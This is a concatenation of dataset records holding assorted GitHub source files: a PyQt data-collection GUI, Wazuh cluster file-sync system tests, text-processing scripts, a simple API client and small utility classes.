#调用QtGui.QPixmap方法,打开一个图片,存放在变量中\n Icon = QtGui.QPixmap(sys.path[0]+'/templates/'+self.source+\".jpeg\")\n # 在disp里面,调用setPixmap命令,建立一个图像存放框,并将之前的图像png存放在这个框框里。\n self.disp.setPixmap(Icon)\n self.disp.setScaledContents(True)\n print(\"Collection settings saved\")\n pass\n \n def link(self):\n # Collection type: simulation\n if self.source == \"Simulation\":\n Icon = QtGui.QPixmap(sys.path[0]+\"/templates/connected.jpeg\")\n self.connection_disp.setPixmap(Icon)\n self.connection_disp.setScaledContents(True)\n self.original = np.histogram(np.random.normal(size=40960),bins=4096)[0]\n return\n ip = self.ip_addr_input.text()\n port = int(self.port_input.text())\n print(ip)\n print(port)\n self.receiver_agent = receiver(ip,port,1024)\n self.receiver_agent.connect()\n \n if not self.receiver_agent.connected:\n Icon = QtGui.QPixmap(sys.path[0]+\"/templates/disconnected.jpeg\")\n self.connection_disp.setPixmap(Icon)\n self.connection_disp.setScaledContents(True)\n return\n elif self.receiver_agent.connected:\n Icon = QtGui.QPixmap(sys.path[0]+\"/templates/connected.jpeg\")\n self.connection_disp.setPixmap(Icon)\n self.connection_disp.setScaledContents(True)\n \n #连接成功之后,开启一个可以不断读取数据的子线程\n print(\"Start receiver thread\")\n self.recv_thread = Thread(target=self.fetch_data,args=(self.receiver_agent,))\n self.recv_thread.setDaemon(True)\n self.recv_thread.start()\n\n def cut(self):\n self.receiver_agent.disconnect()\n Icon = QtGui.QPixmap(sys.path[0]+\"/templates/disconnected.jpeg\")\n self.connection_disp.setPixmap(Icon)\n self.connection_disp.setScaledContents(True)\n\n def fetch_data(self,agent):\n #在子线程里面用死循环,一旦agent不再连接,子线程就会结束,等待下一次线程开启\n while True:\n if not agent.connected:\n print(\"Collection Ended\")\n break\n data = agent.regular_receive()\n self.buffer = data\n #print(\"Fetched {}\".format(str(max(data))))\n time.sleep(1)\n #print(self.buffer)\n #np.savetxt('log.txt',np.array(self.buffer),delimiter=',')\n #print(\"Got \"+str(data))\n \n\n def update_data(self):\n self.global_time = time.time() - self.start_time\n \n if self.end_option == \"Time\" and self.global_time > self.full_time:\n print(\"Reached full time\")\n self.pause_collection()\n return\n elif self.end_option == \"Count\" and sum(self.original) > self.full_count:\n print(\"Reached full count\")\n self.pause_collection()\n \n if self.end_option == \"Time\":\n self.finished_percentage.setValue(int(self.global_time/self.full_time*100))\n elif self.end_option == \"Count\":\n self.finished_percentage.setValue(int(sum(self.original)/self.full_count*100))\n \n if self.on_collection == False:\n return \n \n self.count_rate.display(sum(self.original)/self.global_time)\n self.calculate_integral()\n self.calculate_peak_area()\n self.calculate_half_wave()\n \n if self.source == \"Simulation\":\n self.original = self.original*1.005\n self.time_elapsed.display(self.global_time)\n self.total_count.display(sum(self.original))\n return\n self.time_elapsed.display(self.global_time)\n self.total_count.display(sum(self.buffer))\n print(max(self.buffer))\n \"\"\"\n new_income = np.random.randn()\n self.rawdata.append(new_income)\n self.binned = np.histogram(np.array(self.rawdata),bins=1024)[0]\n \"\"\"\n #self.original = np.histogram(np.array(self.buffer),bins=4096)[0]\n self.original = list(self.buffer)\n #self.original = self.original*1.005\n\n def update_plot(self):\n if self.on_collection == False:\n return\n \n \n\n rate = int(len(self.original)/1024)\n if self.expand_option == \"Original\":\n self.binned = self.original\n pass\n if self.expand_option == \"Interval\":\n length = len(self.original)\n self.binned = self.original[0:length:rate]\n elif self.expand_option == \"Max\":\n self.binned = block_reduce(self.original,(rate,),np.max)\n pass\n elif self.expand_option == \"Mean\":\n self.binned = block_reduce(self.original,(rate,),np.mean)\n \n if self.log_option == \"Yes\":\n self.binned[self.binned == 0] = 1\n self.binned = np.log(self.binned)\n\n if self.plot_option == \"Line\":\n #self.graph.clear()\n #self.curve1 = self.graph.plot(self.binned)\n #self.divided_graph = CurveWidget(parent=None)\n #print(\"Line show\")\n self.divided_graph_curve.display_data_curve(self.binned)\n \n elif self.plot_option == \"Scatter\":\n y = self.binned\n x = np.array(range(0,len(self.binned)))\n #self.divided_graph = ScatterWidget(parent=None)\n #self.graph.clear()\n #self.curve2 = self.graph.plot(y,x,pen=None,symbol=\"o\")\n #print(\"Scatter show\")\n self.divided_graph_scatter.display_data_scatter(x,y)\n\n def calculate_peak_area(self):\n min_x,max_x = self.divided_graph_curve.region.getRegion()\n area = sum(self.binned[int(min_x):int(max_x)] - min(self.binned[int(min_x):int(max_x)]))\n self.peak_area.display(area)\n\n def calculate_integral(self):\n min_x,max_x = self.divided_graph_curve.region.getRegion()\n area = sum(self.binned[int(min_x):int(max_x)])\n self.integral.display(area)\n \n def calculate_half_wave(self):\n min_x,max_x = self.divided_graph_curve.region.getRegion()\n portion = self.binned[int(min_x):int(max_x)]\n width = signal.peak_widths(self.binned,peaks=[np.argmax(portion)],rel_height=0.6)\n print(width)\n self.half_wave.display(width[2][0])\n\n def start_collection(self):\n print(\"Started\")\n if self.on_collection:\n return \n self.on_collection = True\n if self.status == \"Pause\":\n #self.start_time = time.time()\n print(\"Resume previous round\")\n pass\n elif self.status == \"End\":\n print(\"New round\")\n self.start_time = time.time()\n self.status = \"Start\"\n self.timer.start(500)\n \n def pause_collection(self):\n print(\"Paused\")\n self.on_collection = False\n self.end_time = time.time()\n self.status = \"Pause\"\n self.timer.stop()\n \n def end_collection(self):\n print(\"Ended\")\n self.end_time = 0\n self.start_time = 0\n self.status = \"End\"\n self.on_collection = False\n self.rawdata = []\n self.original = np.histogram(np.random.normal(size=40960),bins=4096)[0]\n self.timer.stop()\n \n def export_image(self):\n self.pause_collection()\n print(\"Save picture\")\n save_path = self.cur_path_display.text()\n exporter = exporters.ImageExporter(self.divided_graph_curve.main_plotter)\n\n filename = time.asctime(time.localtime(time.time())).replace(\" \",\"_\").replace(\":\",\"_\")\n #filename = \"default\"\n exporter.parameters()['width'] = 1000\n exporter.parameters()['height'] = 500\n print(\"Save to \"+save_path + filename + '.png')\n exporter.export(save_path + filename + '.png')\n\n def new_path(self):\n save_path = QFileDialog.getExistingDirectory(None,\"Select your path\",self.cur_path_display.text()) \n self.cur_path_display.setText(save_path+\"/\")\n\nif __name__ == \"__main__\":\n #固定的,PyQt5程序都需要QApplication对象。sys.argv是命令行参数列表,确保程序可以双击运行\n app = QApplication(sys.argv)\n #初始化\n myWin = MainWindow()\n #将窗口控件显示在屏幕上\n myWin.show()\n #程序运行,sys.exit方法确保程序完整退出。\n sys.exit(app.exec_())","repo_name":"zhangzdd/pha","sub_path":"new_design/logic.py","file_name":"logic.py","file_ext":"py","file_size_in_byte":13514,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"70243332533","text":"def solution(n):\n arr = list(range(2, n+1))\n size = len(arr)\n for i in range(2, n+1):\n if arr[i-2] == 0: continue\n num = i+i\n if(num > size):\n break\n for j in range(num, n+1, i):\n arr[j-2] = 0\n \n return size - arr.count(0)\n","repo_name":"FlowerLSH/Study1","sub_path":"small number 찾기.py","file_name":"small number 찾기.py","file_ext":"py","file_size_in_byte":292,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"18383691651","text":"import json\nimport os\nimport time\nfrom copy import deepcopy\nfrom secrets import token_hex\n\nimport pytest\nimport yaml\n\nfrom wazuh_testing.tools import WAZUH_PATH, PYTHON_PATH, WAZUH_LOGS_PATH\nfrom wazuh_testing.tools.monitoring import HostMonitor\nfrom wazuh_testing.tools.system import HostManager\n\n\npytestmark = [pytest.mark.cluster, pytest.mark.agentless_cluster_env]\n\n# Hosts\ntest_hosts = ['wazuh-master', 'wazuh-worker1', 'wazuh-worker2']\nworker_hosts = test_hosts[1:]\ntest_data_path = os.path.join(os.path.dirname(os.path.realpath(__file__)), 'data')\nconfiguration = yaml.safe_load(open(os.path.join(test_data_path, 'cluster_json.yaml')))\nmessages_path = os.path.join(test_data_path, 'messages.yml')\ntmp_path = os.path.join(test_data_path, 'tmp')\ninventory_path = os.path.join(os.path.dirname(os.path.dirname(os.path.dirname(os.path.abspath(__file__)))),\n 'provisioning', 'agentless_cluster', 'inventory.yml')\n\n\ntime_to_sync = 21\nhost_manager = HostManager(inventory_path)\nclient_keys_path = os.path.join(WAZUH_PATH, 'etc', 'client.keys')\n\n# Subdirectories to be synchronized.\ndirectories_to_create = [os.path.join(WAZUH_PATH, 'etc', 'shared', 'test_group'),\n os.path.join(WAZUH_PATH, 'var', 'multigroups', 'test_dir')]\n\n# Files that, after created in the master node, should be present in all nodes.\nfiles_to_sync = [os.path.join(WAZUH_PATH, 'etc', 'lists', 'test_file'),\n os.path.join(WAZUH_PATH, 'etc', 'rules', 'test_file'),\n os.path.join(WAZUH_PATH, 'etc', 'decoders', 'test_file'),\n os.path.join(directories_to_create[1], 'merged.mg'),\n os.path.join(directories_to_create[0], 'test_file')]\n\n# Files inside directories where not 'all' files have to be synchronized, according to cluster.json.\nfiles_not_to_sync = [os.path.join(WAZUH_PATH, 'etc', 'test_file'),\n os.path.join(WAZUH_PATH, 'etc', 'lists', 'ar.conf'),\n os.path.join(WAZUH_PATH, 'etc', 'lists', 'ossec.conf'),\n os.path.join(WAZUH_PATH, 'etc', 'lists', 'test.tmp'),\n os.path.join(WAZUH_PATH, 'etc', 'lists', 'test.lock'),\n os.path.join(WAZUH_PATH, 'etc', 'lists', 'test.swp'),\n os.path.join(directories_to_create[1], 'test_file')]\n\n# Directories where to create big files.\ntmp_size_test_path = os.path.join(WAZUH_PATH, 'tmp')\ndst_size_test_path = os.path.join(WAZUH_PATH, 'etc', 'rules')\nbig_file_name = 'test_file_too_big'\nfile_prefix = 'test_file_big_'\n\n# merged.mg and agent.conf files that must be created after creating a group folder.\nmerged_mg_file = os.path.join(directories_to_create[0], 'merged.mg')\nagent_conf_file = os.path.join(directories_to_create[0], 'agent.conf')\n\n\n# Functions\n\ndef create_file(host, path, size):\n \"\"\"Create file of fixed size.\n\n Args:\n host (str): Host where the file should be created.\n path (str): Path and name where to create the file.\n size (int, str): Size of the file (if nothing specified, in bytes)\n \"\"\"\n host_manager.run_command(host, f\"fallocate -l {size} {path}\")\n host_manager.run_command(host, f\"chown wazuh:wazuh {path}\")\n\n\n# Fixtures\n\n@pytest.fixture(scope='function')\ndef clean_files():\n \"\"\"Remove all files that the test will create, in case they exist before starting.\"\"\"\n for file in (files_to_sync + files_not_to_sync + directories_to_create +\n [tmp_size_test_path, os.path.join(dst_size_test_path, 'test_*')]):\n host_manager.run_shell(test_hosts[0], f\"rm -rf {file}\")\n time.sleep(time_to_sync)\n\n\n@pytest.fixture(scope='function')\ndef update_cluster_json():\n \"\"\"Update cluster.json file and restart managers.\"\"\"\n backup_json = {}\n\n for host in test_hosts:\n # Find cluster.json path.\n cluster_json = host_manager.find_file(host, path=PYTHON_PATH, recurse=True, pattern='cluster.json'\n )['files'][0]['path']\n cluster_conf = json.loads(host_manager.run_command(host, f\"cat {cluster_json}\"))\n # Store its original content and update the file.\n backup_json[host] = {'path': cluster_json, 'content': deepcopy(cluster_conf)}\n cluster_conf['intervals']['communication'].update(configuration)\n host_manager.modify_file_content(host=host, path=cluster_json, content=json.dumps(cluster_conf, indent=4))\n # Clear log and restart manager.\n host_manager.clear_file(host=host, file_path=os.path.join(WAZUH_LOGS_PATH, 'cluster.log'))\n host_manager.control_service(host=host, service='wazuh', state='restarted')\n\n yield\n\n # Restore cluster.json and restart.\n for host in backup_json:\n host_manager.modify_file_content(host=host, path=backup_json[host]['path'],\n content=json.dumps(backup_json[host]['content'], indent=4))\n # Remove created files\n for file in [tmp_size_test_path, os.path.join(dst_size_test_path, 'test_*')]:\n host_manager.run_shell(host, f\"rm -rf {file}\")\n host_manager.control_service(host=host, service='wazuh-manager', state='restarted')\n\n\n# Tests\n\ndef test_missing_file(clean_files):\n \"\"\"Check if missing files are copied to each node.\n\n Check if files that are present in the master node but not in the worker nodes are correctly copied\n to each of them. Verify that:\n - Files permissions are as expected.\n - Subdirectories are also synchronized.\n - Only specified files are synchronized (and not the rest).\n - Excluded files and extensions are not synchronized.\n \"\"\"\n # Create subdirectories in the master node.\n for subdir in directories_to_create:\n host_manager.run_command(test_hosts[0], f\"mkdir {subdir}\")\n host_manager.run_command(test_hosts[0], f\"chown wazuh:wazuh {subdir}\")\n\n # Create all specified files inside the master node.\n for file in files_to_sync + files_not_to_sync + [agent_conf_file]:\n host_manager.run_command(test_hosts[0], f\"dd if=/dev/urandom of={file} bs=1M count=2\")\n host_manager.run_command(test_hosts[0], f\"chown wazuh:wazuh {file}\")\n\n # Wait until synchronization is completed. Master -> worker1 & worker2.\n time.sleep(time_to_sync)\n\n # Check whether files are correctly synchronized and if correct permissions are applied.\n for file in files_to_sync:\n master_stats = host_manager.get_stats(test_hosts[0], path=file)['stat']\n\n for host in worker_hosts:\n try:\n worker_stats = host_manager.get_stats(host, path=file)['stat']\n assert worker_stats['mode'] == '0660', f\"{file} permissions were expected to be '660' in {host}, but \" \\\n f\"they are {worker_stats['mode']}.\"\n # Make sure the content of files in worker nodes is the same that in master node.\n assert worker_stats['checksum'] == master_stats['checksum'], f\"The content of {file} is different in \" \\\n f\"worker {host} and in master.\"\n except KeyError:\n pytest.fail(f\"File {file} was expected to be copied in {host}, but it was not.\")\n\n # Check that files which should not be synchronized are not sent to the workers. For example, only\n # merged.mg file inside /var/ossec/etc/shared/ directory should be synchronized, but nothing else.\n for file in files_not_to_sync:\n for host in worker_hosts:\n result = host_manager.run_command(host, f\"ls {file}\")\n assert result == '', f\"File {file} was expected not to be copied in {host}, but it was.\"\n\n\ndef test_shared_files():\n \"\"\"Check if the content of each file is the same in all nodes.\n\n Update the content of the files in the master node and check if they are updated in the workers.\n Then, update the content in the workers and check if it is overwritten by the one in the master.\n \"\"\"\n agent_conf_content = ''\n file_test_content_master = 'test_content_from_master'\n file_test_content_worker = 'test_content_from_worker'\n\n # Modify the content of each file in the master node to check if it is updated in the workers.\n for file in files_to_sync:\n host_manager.modify_file_content(host=test_hosts[0], path=file, content=file_test_content_master)\n\n # Modify the content of the agent.conf file to check if merged.mg file is updated in master and synchronized in\n # workers.\n host_manager.modify_file_content(host=test_hosts[0], path=agent_conf_file, content=f\"{agent_conf_content}\\n\")\n time.sleep(time_to_sync)\n\n # Check whether files are correctly updated in the workers or not.\n for host in worker_hosts:\n for file in files_to_sync:\n result = host_manager.run_command(host, f\"cat {file}\")\n assert result == file_test_content_master, f\"File {file} inside {host} should contain \" \\\n f\"{file_test_content_master}, but it has: {result}\"\n\n # Check whether the merged.mg file is correctly updated in master and synchronized in workers or not.\n for host in test_hosts:\n result = host_manager.run_command(host, f\"cat {merged_mg_file}\")\n # The agent.conf content will be before the !0 test_file line in merged.mg.\n assert agent_conf_content in result, f\"File {merged_mg_file} inside {host} should contain \" \\\n f\"{agent_conf_content}, but it has: {result} \"\n\n # Check whether the agent.conf file is correctly updated in master and synchronized in workers or not.\n agent_conf_content = host_manager.run_command(test_hosts[0], f\"cat {agent_conf_file}\")\n for host in test_hosts:\n result = host_manager.run_command(host, f\"cat {agent_conf_file}\")\n assert agent_conf_content in result, f\"File {agent_conf_file} inside {host} should contain \" \\\n f\"{agent_conf_content}, but it has: {result} \"\n\n # Update the content of files in the worker node.\n for host in worker_hosts:\n for file in files_to_sync:\n host_manager.modify_file_content(host=host, path=file, content=file_test_content_worker)\n\n time.sleep(time_to_sync)\n\n # The only valid content of these files is the one in the master node, so all files should be overwritten again.\n for host in worker_hosts:\n for file in files_to_sync:\n result = host_manager.run_command(host, f\"cat {file}\")\n assert result == file_test_content_master, f\"File {file} inside {host} should contain \" \\\n f\"{file_test_content_master}, but it has: {result}\"\n\n\ndef test_extra_files(clean_files):\n \"\"\"Check if extra files in the workers are correctly deleted.\n\n Create files in the worker nodes inside directories which are not marked as \"extra\" in the cluster.json file.\n Only valid files, except for extra_valid ones, are those created in the master. Therefore, all the files created\n in the workers should be deleted.\n \"\"\"\n # Create all specified files inside the worker nodes.\n for host in worker_hosts:\n for subdir in directories_to_create:\n host_manager.run_command(test_hosts[0], f\"mkdir {subdir}\")\n host_manager.run_command(test_hosts[0], f\"chown wazuh:wazuh {subdir}\")\n for file in files_to_sync:\n host_manager.run_command(host, f\"touch {file}\")\n host_manager.run_command(test_hosts[0], f\"chown wazuh:wazuh {file}\")\n\n time.sleep(time_to_sync)\n\n # Check if the files created before have been removed in the workers, as those were not extra_valid files.\n for host in worker_hosts:\n for file in files_to_sync:\n result = host_manager.run_command(host, f\"ls {file}\")\n assert result == '', f\"File {file} was expected to be removed from {host}, but it still exists.\"\n\n\ndef test_zip_size_limit(clean_files, update_cluster_json):\n \"\"\"Check if zip size limit works and if it is dynamically adapted.\n\n Create several large files on the master. The time needed to send them all together\n should exceed the maximum time allowed and a timeout should be generated on the workers.\n The test verifies that:\n - Workers notify the master to cancel the file being sent.\n - The master reduces the zip size limit.\n - The master warns that a file that is too large will not be synchronized.\n - The master warns that not all the files could be synchronized since they did not fit in the zip.\n - Eventually the zip size limit is increased again.\n - The workers end up receiving all the files that do not exceed the maximum size.\n \"\"\"\n too_big_size = configuration['max_zip_size'] + 1024\n big_size = configuration['min_zip_size'] - 1024\n big_filenames = {file_prefix + str(i) for i in range(10)}\n\n # Create a tmp folder and all files inside in the master node.\n host_manager.run_command(test_hosts[0], f\"mkdir {tmp_size_test_path}\")\n create_file(test_hosts[0], os.path.join(tmp_size_test_path, big_file_name), too_big_size)\n for filename in big_filenames:\n create_file(test_hosts[0], os.path.join(tmp_size_test_path, filename), big_size)\n\n # Move files from tmp folder to destination folder. This way, all files are synced at the same time.\n host_manager.run_shell(test_hosts[0], f\"mv {os.path.join(tmp_size_test_path, 'test_*')} {dst_size_test_path}\")\n\n # Check whether zip size limit changed, big files are rejected, etc.\n HostMonitor(inventory_path=inventory_path, messages_path=messages_path, tmp_path=tmp_path).run()\n\n for host in worker_hosts:\n # Make sure that smaller files were synced.\n worker_files = {file['path'] for file in host_manager.find_file(host, path=dst_size_test_path,\n pattern=file_prefix, use_regex=True)['files']}\n assert worker_files == {os.path.join(dst_size_test_path, file) for file in big_filenames}, \\\n f\"Not all expected files were found in {host}.\"\n\n # While too big files were rejected.\n assert not host_manager.find_file(host, path=dst_size_test_path, pattern=big_file_name)['files'], \\\n f\"File {big_file_name}' was expected not to be copied in {host}, but it was.\"\n","repo_name":"wazuh/wazuh-qa","sub_path":"tests/system/test_cluster/test_integrity_sync/test_integrity_sync.py","file_name":"test_integrity_sync.py","file_ext":"py","file_size_in_byte":14506,"program_lang":"python","lang":"en","doc_type":"code","stars":29,"dataset":"github-code","pt":"21"} +{"seq_id":"15142723243","text":"# convert the Gates file to UTF-8 using notepad. Seems then run this program to export valid file.\r\n# Seems Gates does not know how XML files work, or standards....\r\nfrom bs4 import BeautifulSoup\r\nfrom tkinter import *\r\nfrom tkinter import filedialog\r\nimport os\r\n\r\ndef select_files():\r\n\troot = Tk()\r\n\troot.filename = filedialog.askopenfilenames(parent = root,title = \"Choose Files\", initialdir = os.getcwd())\r\n\trootdir = (root.filename)\r\n\troot.destroy()\r\n\toutList = list(rootdir )\r\n\treturn (outList)\r\n\r\ndef save_dest():\r\n\troot = Tk()\r\n\tfilename = filedialog.asksaveasfilename(initialdir = os.getcwd(),defaultextension = ('.xml'), \\\r\n\t\t\t\t\t\t\t\t\t\t\ttitle = \"Select files\", filetypes = ((\"xml files\" , \"*.xml\"),('all files', \"*.*\")))\r\n\troot.destroy()\r\n\treturn filename\r\n\r\ni = 0\r\nultLine = \"\"\r\npath = \"C:\\\\Automate Data\\\\CopiedGates.txt\"\r\noutput = \"C:\\\\Automate Data\\\\TestOut.xml\"\r\nprint(path)\r\n\r\nwith open(path, 'rb') as infile:\r\n output = open(output, 'w', encoding='utf8')\r\n for line in infile:\r\n ultLine += line\r\n i = 1 + i\r\n print(i)\r\n\r\nprint(ultLine)\r\nprint(\"Processing..... Might take a while.\")\r\nsoup = BeautifulSoup(ultLine, 'xml')\r\noutput.write(soup.prettify())\r\ninfile.close()\r\noutput.close()\r\n# while True:\r\n# c = infile.read(1)\r\n# if not c:\r\n# print(\"End of file\")\r\n# break\r\n# print(\"Read a character:\", c)\r\n# abocve code is to byte read characters, not used but good to have\r\n\r\n\r\n#IMPROVEMENTS:\r\n#Last item tag, needs to be added\r\n# get rid of erronous 'xml' tag","repo_name":"Zrooney/MAM-Software-Scripts","sub_path":"Gates XML Converter.py","file_name":"Gates XML Converter.py","file_ext":"py","file_size_in_byte":1534,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"3008994131","text":"import requests\r\n\r\n\r\nclass BrakingBad:\r\n\r\n @staticmethod\r\n def quote():\r\n req = requests.get('https://breaking-bad-quotes.herokuapp.com/v1/quotes')\r\n quote = req.json()\r\n return quote\r\n\r\n @staticmethod\r\n def list_quotes(num):\r\n if num <= 0:\r\n return []\r\n req = requests.get('https://breaking-bad-quotes.herokuapp.com/v1/quotes/' + str(num))\r\n list_quotes = req.json()\r\n return list_quotes\r\n\r\n\r\n","repo_name":"shai1712/Assingment2","sub_path":"quotes.py","file_name":"quotes.py","file_ext":"py","file_size_in_byte":466,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"5601492304","text":"import os\nimport sys\nfrom rouge_measure import cal_rouge_v2\n\n\ndef split_file(source_path, file_name, s_num=1):\n data_type, sents_type = file_name.split('_')[:2]\n if sents_type == 'system':\n sents_type = 'pred'\n if sents_type in ['groundtruth', 'ground1']:\n sents_type = 'truth'\n\n save_path = source_path + '/' + data_type + '/' + sents_type + '/'\n print('save_path', save_path)\n if not os.path.exists(save_path):\n os.makedirs(save_path)\n else:\n os.system('rm -rf ' + save_path + '*')\n\n if s_num == 1:\n os.system('split -l 1 ' + source_path + '/' + file_name + ' -d -a 4 ' + save_path + sents_type + '_')\n #os.system('mv ./' + sents_type + '_* ' + save_path)\n else:\n os.system('split -l ' + str(s_num) + ' ' + source_path + '/' + file_name + ' -d -a 4 ' +\n save_path + sents_type + '_')\n #os.system('mv ./' + sents_type + '_* ' + save_path)\n\n return save_path\n\n\ndef cal_rouge(source_path, file_name1, file_name2, sents_num=1):\n save_path1 = split_file(source_path, file_name1)\n save_path2 = split_file(source_path, file_name2, sents_num)\n if sents_num == 1:\n r1, r2, rl = cal_rouge_v2(save_path1, save_path2)\n else:\n a = ['A', 'B', 'C']\n for f in os.listdir(save_path2):\n f_name = f.split('_')[1]\n all_ann = open(save_path2 + f).readlines()\n for i in range(sents_num-2, sents_num):\n with open(save_path2 + f.split('_')[0] + '_' + a[i] + '_' + f_name, 'w') as fw:\n fw.write(all_ann[i])\n os.system('rm -rf ' + save_path2 + 'ann_0*')\n os.system('rm -rf ' + save_path2 + 'ann_1*')\n r1, r2, rl = cal_rouge_v2(save_path1, save_path2, 2)\n return r1, r2, rl\n\n\nif __name__ == '__main__':\n source_path, file_name1, file_name2, sents_num = sys.argv[1:]\n sents_num = eval(sents_num)\n cal_rouge(source_path, file_name1, file_name2, sents_num)\n","repo_name":"ant-research/Timestep-Aware-SentenceEmbedding-and-AcmeCoverage","sub_path":"cal_rouge_offline.py","file_name":"cal_rouge_offline.py","file_ext":"py","file_size_in_byte":1965,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"21"} +{"seq_id":"15318875118","text":"class Nodo:\n def __init__(self, boleto):\n self.boleto = boleto\n self.siguiente = None\nclass Boleto:\n def __init__(self, categoria, titulo, numero_boleto):\n self.categoria = categoria\n self.titulo = titulo\n self.numero_boleto = numero_boleto\n\nclass ListaBoletos:\n def __init__(self):\n self.primer_boleto = None\n\n def agregar_boleto(self, boleto):\n nuevo_nodo = Nodo(boleto)\n if self.primer_boleto is None:\n self.primer_boleto = nuevo_nodo\n else:\n actual = self.primer_boleto\n while actual.siguiente is not None:\n actual = actual.siguiente\n actual.siguiente = nuevo_nodo\n \n def append(self, boleto):\n nuevo_nodo = Nodo(boleto)\n if self.primer_boleto is None:\n self.primer_boleto = nuevo_nodo\n else:\n actual = self.primer_boleto\n while actual.siguiente is not None:\n actual = actual.siguiente\n actual.siguiente = nuevo_nodo\n\n def obtener_comprasb(self):\n compras = []\n actual = self.primer_boleto\n while actual is not None:\n compras.append(actual.boleto)\n actual = actual.siguiente\n return compras\n\n\nlista_boletos = ListaBoletos()","repo_name":"Halex07/IPC2_V1S12023_ProyectoF2_3_201407049","sub_path":"listas.py","file_name":"listas.py","file_ext":"py","file_size_in_byte":1300,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"40018013957","text":"\"\"\"\nextracting NPs from parse trees \ndesigned for both the RSC and the OBC corpora\n\nauthor: Polina Stadnikova\n\n\nfor each corpus, the input directory contains a folder with 5 diffent folders (according to the time period)\nusage: run the script and follow the instructions\n\n\"\"\"\n\n\nimport os\nfrom nltk import tree\n\n\ndef extract(inputdir, outputdir, corpus):\n os.makedirs(outputdir)\n #create a file for statistics\n stat = open(outputdir + '/statistics.txt', 'w')\n #create a file for text names\n names = open(outputdir + '/names.txt', 'w')\n i = 0\n #count only big nps\n overall_big_np = 0\n #count all nps\n overall_all_np = 0\n overall_length = 0\n overall_depth = 0\n #extract from each folder\n for folder in os.listdir(inputdir):\n # outputpath=os.path.join(outputdir,folder)\n # os.makedirs(outputpath)\n dirr = inputdir + '/' + folder\n\t#take first 10 files\n for file in os.listdir(dirr)[:10]:\n names.write(str(folder)+'\\t'+str(file)+'\\n')\n i += 1\n\t #get parse trees\n if corpus == 'obc':\n content = open(dirr + '/' + file).readlines()[1][10:]\n elif corpus == 'rsc':\n content = open(dirr + '/' + file).readlines()[1][8:]\n tr = tree.Tree.fromstring(content)\n stat.write('**************' + '\\n')\n stat.write('Sentence: ' + str(i) + '\\n')\n stat.write(content + '\\n')\n stat.write('\\n')\n\t #filter out\n subtrees = tr.subtrees(lambda tr: tr.label() == 'NP')\n agenda = []\n stat.write('NPs: ' + '\\n')\n bignp = 0\n nps = 0\n for st in subtrees:\n wr = True\n for t in agenda:\n if st in t:\n wr = False\n if wr:\n bignp += 1\n stat.write(str(st) + '\\n')\n num_of_nps = len(list(st.subtrees(lambda tr: tr.label() == 'NP'))) - 1\n stat.write('depth: ' + str(st.height()) + ' ,length: ' + str(len(st.leaves())) + '\\n')\n stat.write('number of NPs: ' + str(num_of_nps) + '\\n')\n stat.write('\\n')\n nps += num_of_nps\n nps += 1\n overall_length += len(st.leaves())\n overall_depth += st.height()\n agenda.append(st.subtrees())\n overall_big_np += bignp\n overall_all_np += nps\n stat.write('Number of big NPs: ' + str(bignp) + ', overall number of NPs: ' + str(nps) + '\\n')\n stat.write('\\n')\n stat.write('******** Final statistics ********' + '\\n')\n stat.write('Number of big NPs for this time period: ' + str(overall_big_np) + ', average per sentence: ' + str(\n overall_big_np / i) + '\\n')\n stat.write('Number of all NPs for this time period: ' + str(overall_all_np) + ', average per sentence: ' + str(\n overall_all_np / i) + '\\n')\n stat.write('Average length of NPs: ' + str(overall_length / overall_big_np) + '\\n')\n stat.write('Average depth of NPs: ' + str(overall_depth / overall_big_np) + '\\n')\n\n\nif __name__ == '__main__':\n inputdir = input(\"Give the input directory: \")\n outputdir = input(\"Give the output directory: \")\n corpus = input(\"Specify the corpus (type obc or rsc): \")\n time = input(\"Specify the time period (for rsc 1650, 1700, 1750, 1800, 1850, for obc 1700, 1750, 1800, 1850, 1900) :\")\n extract(inputdir+'/'+time, outputdir+'/'+time,corpus)\n\n\n","repo_name":"polinastadnikova/slingpro","sub_path":"extract-nps.py","file_name":"extract-nps.py","file_ext":"py","file_size_in_byte":3566,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"12066923448","text":"import os\nfrom enum import Enum, auto\nfrom qpc_project import (Language, Configuration, Compile, Link, General,\n SourceFile, SourceFileCompile, ProjectPass, PrecompiledHeader)\nfrom qpc_logging import warning\nfrom ..shared import msvc_tools\n\n\nclass Mode(Enum):\n MSVC = auto(),\n GCC = auto(),\n CLANG = auto(),\n \n \nLINUX_DEFAULT_INC_DIRS = [\n \"/usr/local/include\"\n \"/usr/include\"\n]\n\n\nclass CommandLineGen:\n def __init__(self, mode: str = \"\"):\n self._compiler = None\n self.mode = None\n self.switch = None\n self._char_inc_dir = None\n self._char_define = None\n self.set_mode(mode)\n \n def set_mode(self, mode: str):\n if mode and mode != self._compiler:\n self._compiler = mode\n if mode.startswith(\"msvc\"):\n self.mode = Mode.MSVC\n self.switch = \"/\"\n self._char_inc_dir = \"/I\"\n self._char_define = \"/D\"\n \n elif mode.startswith(\"gcc\") or mode.startswith(\"g++\") or mode.startswith(\"clang\"):\n self.switch = \"-\"\n self._char_inc_dir = \"-I\"\n self._char_define = \"-D\"\n self.mode = Mode.GCC if mode.startswith(\"gcc\") or mode.startswith(\"g++\") else Mode.CLANG\n \n def get_file_build_path(self, general: General, file: str) -> str:\n path = f\"{general.build_dir}/{os.path.splitext(os.path.basename(file))[0]}\"\n return f\"{path}.obj\" if self.mode == Mode.MSVC else f\"{path}.o\"\n \n def file_compile_flags(self, cfg: Configuration, file: SourceFileCompile) -> str:\n return self.compile_flags(cfg.compile, cfg.general, file)\n \n def compile_flags(self, c: Compile, general: General = None, file: SourceFileCompile = None) -> str:\n cmd = []\n cmd.extend(self.convert_defines(c.defines))\n if file:\n cmd.extend(self.convert_defines(file.defines))\n\n cmd.extend(self.convert_includes(c.inc_dirs))\n \n if general is not None:\n if c.default_inc_dirs:\n if self.mode == Mode.MSVC:\n cmd.extend(self.convert_includes(msvc_tools.get_inc_dirs(general.compiler)))\n # elif 